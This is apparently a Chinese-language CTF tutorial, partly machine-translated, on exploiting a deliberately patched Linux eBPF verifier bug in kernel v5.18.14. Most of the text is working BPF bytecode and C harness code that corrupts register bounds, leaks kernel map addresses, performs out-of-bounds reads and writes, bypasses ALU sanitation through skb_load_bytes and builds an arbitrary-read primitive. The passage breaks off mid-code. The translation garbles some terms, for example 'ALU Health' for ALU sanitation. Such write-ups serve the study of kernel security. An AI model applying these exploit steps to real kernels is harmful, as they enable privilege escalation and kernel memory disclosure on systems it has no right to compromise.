到目前为止,已经大致解释了漏洞利用所需的eBPF内部机制。接下来将实际利用验证器的错误来提升权限。
利用eBPF错误
题目下载
检查补丁
这次为了使eBPF变得脆弱,在验证器上应用了嵌入漏洞的补丁。在patch/verifier. diff中有内容,请确认。
7957c7957,7958
< __mark_reg32_known(dst_reg, var32_off.value);
---
> // `scalar_min_max_or` will handler the case
> //__mark_reg32_known(dst_reg, var32_off.value);
kernel/bpf/verifier. c的第7957行已经进行了更改。
scalar32_min_max_or函数的开头调用了__mark_reg32_know函数,但在应用补丁后已注释掉。由于没有其他更改,让我们详细查看此部分。
scalar32_min_max_or
更改后的scalar32_min_max_or的调用者是是调节器_scalar_min_max_val。该函数实现了ALU运算(如ADD和XOR)后目标寄存器的范围跟踪。
修正的是BPF_OR。
case BPF_OR:
dst_reg->var_off = tnum_or(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_or(dst_reg, &src_reg);
scalar_min_max_or(dst_reg, &src_reg);
break;
首先,使用tnum_or更新目标寄存器的var_off。实现很简单,如果要OR的位都未知,则目标也未知。即使其中一个位未知,如果另一个位为1,则OR的结果也必然为1,因此掩码的相应位将为0。
struct tnum tnum_or(struct tnum a, struct tnum b)
{
u64 v, mu;
v = a.value | b.value;
mu = a.mask | b.mask;
return TNUM(v, mu & ~v);
}
例如(mask=0xffff0000; value=0x1001)和(mask=0xffffff00;value=0x2)进行OR运算,结果为(mask=0xfffffff00;value=0x1003)
更新var_off后,scalar32_min_max_or将被调用。当if (src_known && dst_known)
为 true 时,调用__mark_reg32_known
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
...
if (src_known && dst_known) {
// `scalar_min_max_or` will handler the case
//__mark_reg32_known(dst_reg, var32_off.value);
return;
}
tnum_subreg_is_const在寄存器的低位32位部分为常量时返回true。也就是说,当要OR的两个寄存器的低位32位为常量时,调用__mark_reg32_know。
__mark_reg32_know使用常量var_off更新s32_min_value、s32_max_value、u32_min_value、u32_max_value
static void __mark_reg32_known(struct bpf_reg_state *reg, u64 imm)
{
reg->var_off = tnum_const_subreg(reg->var_off, imm);
reg->s32_min_value = (s32)imm;
reg->s32_max_value = (s32)imm;
reg->u32_min_value = (u32)imm;
reg->u32_max_value = (u32)imm;
}
由于补丁的评论中有"scalar_min_max_or将处理案例",因此也将跟踪scalar_min_max_or
static void scalar_min_max_or(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_is_const(src_reg->var_off);
bool dst_known = tnum_is_const(dst_reg->var_off);
s64 smin_val = src_reg->smin_value;
u64 umin_val = src_reg->umin_value;
if (src_known && dst_known) {
__mark_reg_known(dst_reg, dst_reg->var_off.value);
return;
}
...
}
基本上是scalar 32_min_max_or的64位版本。在这里,当两个64位值都是常量时,将调用__mark_reg_know。__mark_reg_know除了64位部分外,还将32位范围更改为常量。
/* This helper doesn't clear reg->id */
static void ___mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
reg->var_off = tnum_const(imm);
reg->smin_value = (s64)imm;
reg->smax_value = (s64)imm;
reg->umin_value = imm;
reg->umax_value = imm;
reg->s32_min_value = (s32)imm;
reg->s32_max_value = (s32)imm;
reg->u32_min_value = (u32)imm;
reg->u32_max_value = (u32)imm;
}
/* Mark the unknown part of a register (variable offset or scalar value) as
* known to have the value @imm.
*/
static void __mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
/* Clear id, off, and union(map_ptr, range) */
memset(((u8 *)reg) + sizeof(reg->type), 0,
offsetof(struct bpf_reg_state, var_off) - sizeof(reg->type));
___mark_reg_known(reg, imm);
}
也就是说,如果OR的64位寄存器都是常量,则即使在scalar32_min_max_or中不调用__mark_reg32_know,在后面的scalar_min_max_or中也毫无问题地成为常量。
那么,如果64位寄存器的前32位不是常量怎么办呢?scalar32_min_max_or会立即返回,但scalar_min_max_or不会调用__mark_reg_know。
此时,将到达scalar_min_max_or中的下一个路径。
/* We get our maximum from the var_off, and our minimum is the
* maximum of the operands' minima
*/
dst_reg->umin_value = max(dst_reg->umin_value, umin_val);
dst_reg->umax_value = dst_reg->var_off.value | dst_reg->var_off.mask;
if (dst_reg->smin_value < 0 || smin_val < 0) {
/* Lose signed bounds when ORing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->smin_value = S64_MIN;
dst_reg->smax_value = S64_MAX;
} else {
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->smin_value = dst_reg->umin_value;
dst_reg->smax_value = dst_reg->umax_value;
}
/* We may learn something more from the var_off */
__update_reg_bounds(dst_reg);
更新umin_value、、umax_value、smin_value和smax_value后,将调用__update_reg_bound
static void __update_reg_bounds(struct bpf_reg_state *reg)
{
__update_reg32_bounds(reg);
__update_reg64_bounds(reg);
}
这里也更新了32位和64位的范围。这是否意味着补丁只是删除了不必要的处理?
__update_reg32_bounds
让我们仔细看看__update_reg32_bound的处理
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
struct tnum var32_off = tnum_subreg(reg->var_off);
/* min signed is max(sign bit) | min(other bits) */
reg->s32_min_value = max_t(s32, reg->s32_min_value,
var32_off.value | (var32_off.mask & S32_MIN));
/* max signed is min(sign bit) | max(other bits) */
reg->s32_max_value = min_t(s32, reg->s32_max_value,
var32_off.value | (var32_off.mask & S32_MAX));
reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask));
}
由于__mark_reg32_know未被调用,因此32位的min, max仍处于旧状态。是否可以使用它来导致更新的min,max不一致?为了简单起见,请考虑无符号的情况。
reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask));
现在,寄存器的低位32位对于src和dst都是常量。因此,var32_off. mask为0,可以重写如下
reg->u32_min_value = max(reg->u32_min_value, var32_off.value);
reg->u32_max_value = min(reg->u32_max_value, var32_off.value);
u32_min_value和u32_max_value继承了目标寄存器的原始状态。由于低32位必须是常量,因此假设原始u32_min_value和u32_max_value都为X。对某个常量Y进行OR,结果为X|Y。然后,当X|Y>X时,
reg->u32_min_value = max(X, X|Y); // min=X|Y
reg->u32_max_value = min(X, X|Y); // max=X
因此,u32_min_value会比u32_max_value更大,从而导致不一致
重现错误
为了简单起见,让我们考虑X=0,Y=1。首先,准备以下寄存器R1、R2。
R1: var_off=(value=0; mask=0xffffffff00000000)
R2: var_off=(value=0xfffffffe00000001; mask=0)
让我们看看使用BPF_OR(R1, R2)进行OR时的变化
- var_off=(value=0xfffffe00000001;mask=0x100000000)
- u32_min_value=max(0,1)=1
- u32_max_value=min(0,1)=0
这会导致寄存器损坏,其中 32 位部分的最小值为 1,最大值为 0。让我们用代码检查一下。
// 创建BPF映射
int mapfd = map_create(8, 1);
/* BPF程序 */
struct bpf_insn insns[] = {
// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0)
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
加载此程序并尝试输出验证器日志verifier_log
/ $ ./pwn
func#0 @0
0: R1=ctx(off=0,imm=0) R10=fp0
0: (7a) *(u64 *)(r10 -8) = 0 ; R10=fp0 fp-8_w=mmmmmmmm
1: (18) r1 = 0x0 ; R1_w=map_ptr(off=0,ks=4,vs=8,imm=0)
3: (bf) r2 = r10 ; R2_w=fp0 R10=fp0
4: (07) r2 += -8 ; R2_w=fp-8
5: (85) call bpf_map_lookup_elem#1 ; R0_w=map_value_or_null(id=1,off=0,ks=4,vs=8,imm=0)
6: (55) if r0 != 0x0 goto pc+1 ; R0_w=P0
7: (95) exit
from 6 to 8: R0=map_value(off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmmmmmm
8: (79) r1 = *(u64 *)(r0 +0) ; R0=map_value(off=0,ks=4,vs=8,imm=0) R1_w=Pscalar()
9: (77) r1 >>= 32 ; R1_w=Pscalar(umax=4294967295,var_off=(0x0; 0xffffffff))
10: (67) r1 <<= 32 ; R1_w=Pscalar(smax=9223372032559808512,umax=18446744069414584320,var_off=(0x0; 0xffffffff00000000),s32_min=0,s32_max=0,u32_max=0)
11: (b7) r2 = -2 ; R2_w=P-2
12: (67) r2 <<= 32 ; R2_w=P-8589934592
13: (07) r2 += 1 ; R2_w=P-8589934591
14: (4f) r1 |= r2 ; R1_w=Pscalar(umin=18446744065119617025,umax=18446744069414584321,var_off=(0xfffffffe00000001; 0x100000000),s32_min=1,s32_max=0,u32_min=1,u32_max=0) R2_w=P-85891
15: (b7) r0 = 0 ; R0_w=P0
16: (95) exit
processed 16 insns (limit 1000000) max_states_per_insn 0 total_states 1 peak_states 1 mark_read 1
在第 14 条 OR 指令处
R1_w=Pscalar(...,s32_min=1,s32_max=0,u32_min=1,u32_max=0)
可以看出范围追踪已经损坏。
这个bug实际上发生在OR、AND、XOR指令中。
地址泄露
如果出现min_value>max_value这样的条件,有几种方法可以滥用它。首先,让我们使用它来解决map地址泄漏问题。
eBPF允许对指针的标量值进行加减运算。指针和标量值运算中的偏移更新在adjust_ptr_min_max_val中实现。
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
...
bool known = tnum_is_const(off_reg->var_off);
s64 smin_val = off_reg->smin_value, smax_val = off_reg->smax_value,
smin_ptr = ptr_reg->smin_value, smax_ptr = ptr_reg->smax_value;
u64 umin_val = off_reg->umin_value, umax_val = off_reg->umax_value,
umin_ptr = ptr_reg->umin_value, umax_ptr = ptr_reg->umax_value;
...
if ((known && (smin_val != smax_val || umin_val != umax_val)) ||
smin_val > smax_val || umin_val > umax_val) {
/* Taint dst register if offset had invalid bounds derived from
* e.g. dead branches.
*/
__mark_reg_unknown(env, dst_reg);
return 0;
}
...
阅读上述代码后,在标量值跟踪失败的情况下,运算结果为__mark_reg_know的未知值。
也就是说,如果将跟踪失败的寄存器和指针相加,则结果将被视为标量值。由于标量值可以写入BPF映射,因此可能存在地址泄漏。接下来尝试泄漏在map_lookup_elem中获取的BPF映射指针。
刚才已经打破了s32_min_value等猜测,但上述代码需要损坏64位寄存器smin_val等。要将32位值扩展到64位值,只需使用BPF_MOV32_REG复制到32位寄存器,就像x86-64一样。
...
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0)
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
// R0 --> scalar
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),
// 保存标量值指针
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem
如果BPF映射地址泄漏,则说明成功。请注意,R1中包含1,因此地址与实际相加相差1。
看这个地址,正确地包含了数组的第一个元素(泄漏的数据)
减去0x110后,将成为包含元数据的BPF映射的开头。由于这次是以数组形式创建的,因此存在bpf_array结构体。
例如,开头的0xffffffff81c124a0是一个函数表,称为bpf_map结构体。ops虽然这次没有使用,但在eBPF攻击中,可以重写此ops以提升权限的方法。
这种方法如果不知道adjust_ptr_min_max_val的代码,就不会注意到,但实际上即使不使用它也可以编写漏洞。
有了map的地址,则后续的kASLR泄漏将变得容易,因此请保留地址。如果传递map fd,会返回地址(最后减1)
默认情况下,root权限允许指针泄漏,因此在调试eBPF的漏洞时,请务必使用普通用户权限进行操作检查。
越界引用
前一章也稍微提到过,2022年出现了名为ALU Health的缓和机制,所以不能像以前那样简单地进行范围外引用。
但是,让我们先尝试一个简单的越界引用。
实际上,当bpf_bypass_spec_v1函数返回true时,ALU Health将被跳过。该函数在root权限下返回true,因此仍然可以使用root权限尝试范围外引用。
因此,首先尝试使用root权限进行简单越界引用。
创建跟踪中断的常量
利用验证器错误的一个方便方法是创建一个常量(XX!=Y),其中验证器认为它是X,但实际上是Y。特别是当X=0,Y!=0时,无论乘以什么,验证器都会判断为0,因此可以方便地创建超出范围引用的偏移量。
首先,让创建一个常量,其中验证器认为是0,但实际上是1。
现在,R1的u32_min_value为1,u32_max_value为0。相反,在R2中u32_min_value为为0,u32_max_value为1(未损坏)的值。考虑R1和R2的加法,范围为[1,0]+[0,1]=[1,1]。
最小值和最大值相同的寄存器在MOV等定时将被视为常量。R1的实际值为1,但R2取0或1。因此,加法结果必须是[1,2]。但是,验证器会将加法后的R1判断为常量1,因此实际包含2。
然后从R1中减去1,就可以创建目标常量,该常量认为验证器为0,但实际上为1。
u32_min_value为0而u32_max_value为1的R2可以通过组合逻辑和算术运算或丢弃条件分支中大于1的情况来创建。
// 创建BPF映射
int mapfd = map_create(8, 1);
val = 1;
map_update(mapfd, 0, &val);
/* BPF程序 */
struct bpf_insn insns[] = {
// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / 実際値:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / 実際値:1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2), // 1より大きいケースを破棄
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// R1 --> 0 / 実際値:1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
// 看看R1的实际值
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
检查执行此程序后的映射(R1的实际值),可以看到它是1。另一方面,在第22条命令结束时,验证器推测R1中包含0。
检查越界引用
在前面的代码中,即使跟踪结果为常量0,实际上也可以创建一个具有1的寄存器。将该寄存器乘以适当的数字并将其添加到map指针上,结果可以创建指向范围外的有效指针。
让我们实际尝试一下。
一下BPF程序通过将损坏的寄存器乘以0x100,创建猜测值=0/实际值=0x10”的情况,并在BPF_LDX_MEM中使用它读取地图范围之外的内容。
int main() {
char verifier_log[0x10000];
unsigned long val;
// 创建BPF映射
int mapfd = map_create(8, 1);
unsigned long addr_map = leak_map_address(mapfd);
printf("[+] addr_map = 0x%016lx\n", addr_map);
val = 1;
map_update(mapfd, 0, &val);
/* BPF程序 */
struct bpf_insn insns[] = {
// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
// R1 --> 0 / actual: 0x100
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x100),
// 以超出范围参照将数据泄漏到R2
BPF_MOV64_REG(BPF_REG_3, BPF_REG_9),
BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_1),
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
// 在用户空间接收泄漏的数据
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_2, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
/* 设置套接字 */
union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
/* 加载BPF程序 */
int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
printf("%s\n", verifier_log);
if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");
/* 创建套接字 */
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");
/* 利用套接字(触发BPF程序) */
write(socks[1], "Hello", 5);
map_lookup(mapfd, 0, &val);
printf("val = 0x%016lx\n", val);
getchar();
return 0;
}
如果以root权限运行此程序,则可以读取未设置的值,如下所示
实际使用gdb进行确认时,存可以泄露map地址前0x100的数据
通过MOV传递0x100常量时,验证器会检测到范围外引用,因此可以看出由于漏洞导致了范围外引用。
但是,如果以普通用户权限运行相同的程序,ALU Health会将加法的范围外引用转换为0的加法,因此不会泄漏任何数据,如下所示。(从最初输入的值1被提取的事实可以看出,通过ALU Health,加法没有意义。)
在没有ALU sanitation的时代,使用这种方法读写bap_map结构体的ops的攻击方式是主流
避免 ALU sanitation
幸运的是,在这次的内核v5.18.14中,存在避免ALU sanitation的方法。这个想法是修补指针的加减法(超出范围),因此我们的想法是让现有的助手函数来处理它。
一般用户可以使用的辅助函数很少,但让我们研究一下以偏移量和大小为参数的函数。然后,在套接字过滤器中,例如可以使用名为skb_load_bytes的函数。
BPF_CALL_4(bpf_skb_load_bytes, const struct sk_buff *, skb, u32, offset,
void *, to, u32, len)
{
void *ptr;
if (unlikely(offset > INT_MAX))
goto err_clear;
ptr = skb_header_pointer(skb, offset, len, to);
if (unlikely(!ptr))
goto err_clear;
if (ptr != to)
memcpy(to, ptr, len);
return 0;
err_clear:
memset(to, 0, len);
return -EFAULT;
}
static const struct bpf_func_proto bpf_skb_load_bytes_proto = {
.func = bpf_skb_load_bytes,
.gpl_only = false,
.ret_type = RET_INTEGER,
.arg1_type = ARG_PTR_TO_CTX,
.arg2_type = ARG_ANYTHING,
.arg3_type = ARG_PTR_TO_UNINIT_MEM,
.arg4_type = ARG_CONST_SIZE,
};
此函数可以将数据包内容复制到BPF端(映射或堆栈)。
将第一个参数指定为上下文,将第二个参数指定为要复制的数据包数据的偏移量,将第三个参数指定为要复制的缓冲区,将第四个参数指定为要复制的大小。由于复制源是数据包数据,因此将复制通过write发送到套接字的数据。
在调用此函数时,会判断参数是否超出范围,但不会受到ALU Health的影响。因此,可以在函数内部实现数据复制到范围之外。
让我们实际尝试一下。现在,BPF映射的数据大小为8,因此如果可以复制8字节或更多字节,则成功。
验证器判断为1,并创建一个实际值为0x10的寄存器。使用write发送大于0x10字节的数据,并使用gdb确认是否已复制到地图中。(请注意,如果传递大小为0(估计值),验证器将收到警告)
...
// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
// R1 --> 1 / actual: 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// map[0]に書き込み(ALU sanitationの回避)
BPF_MOV64_IMM(BPF_REG_ARG2, 0), // arg2=offset (0)
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_9), // arg3=to (&map[0])
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), // arg4=len (1/0x10)
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8), // arg1=skb
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),
...
在上面的程序中,对于BPF映射的第0个元素(保存在第一个获取的地址R9中),使用skb_load_bytes写入数据包数据。实际上写入了0x10字节,但验证器猜测为1字节,因此允许。
在调用程序时,请尝试发送以下0x10字节的数据。
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = 0xdeadbeefcafebabe;
write(socks[1], payload, 0x10);
如果在执行后使用gdb检查映射地址,则可以看到超出范围的写入超过了本次数据大小的8字节,如下图所示
由于可以在堆上实现越界写入,因此可以使用您喜欢的方法进行利用。例如,可以考虑将两个BPF映射并排放置并重写后面映射的操作。
然而,既然如此,这次让我们利用BPF的特点来实现AAR/AAW。
创建 AAR/AAW
请记住,BPF堆栈可以写入指针。存储在堆栈中的数据会跟踪类型和范围。
因此,如果使用skb_load_bytes在堆栈上进行超出范围([2])的写入,则可以使用数据包数据覆盖存储在堆栈上的指针。即使覆盖后,验证器也会将其识别为指针,因此可以读写假指针。
如图所示,如下所示
最后一次重写的FP-0x18中的数据被标记为指针,因此如果使用BPF_LDX_MEM检索,则可以将其视为指针。
通过利用BPF的特点,可以轻松创建AAR/AAW。
/**
* Load arbitrary address
*/
unsigned long aar64(int mapfd, unsigned long addr) {
char verifier_log[0x10000];
unsigned long val;
val = 1;
map_update(mapfd, 0, &val);
/* BPF program*/
struct bpf_insn insns[] = {
// R8 --> context
BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),
// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
// FP-0x18 Install valid pointer (*)
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18),
// R1 --> 1 / actual: 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// (*)覆盖中提供的堆栈上的指针(ALU sanitationの回避)
BPF_MOV64_IMM(BPF_REG_ARG2, 0), // arg2=offset (0)
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // arg3=to (FP-0x20)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), // arg4=len (1/0x10)
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8), // arg1=skb
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),
// 获取已重写(*)的指针
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_FP, -0x18),
// 可任意地址读写
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0), // 从假指针读取
// 在用户空间接收泄漏的数据
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
/* 设置套接字 */
union bpf_attr prog_attr = {
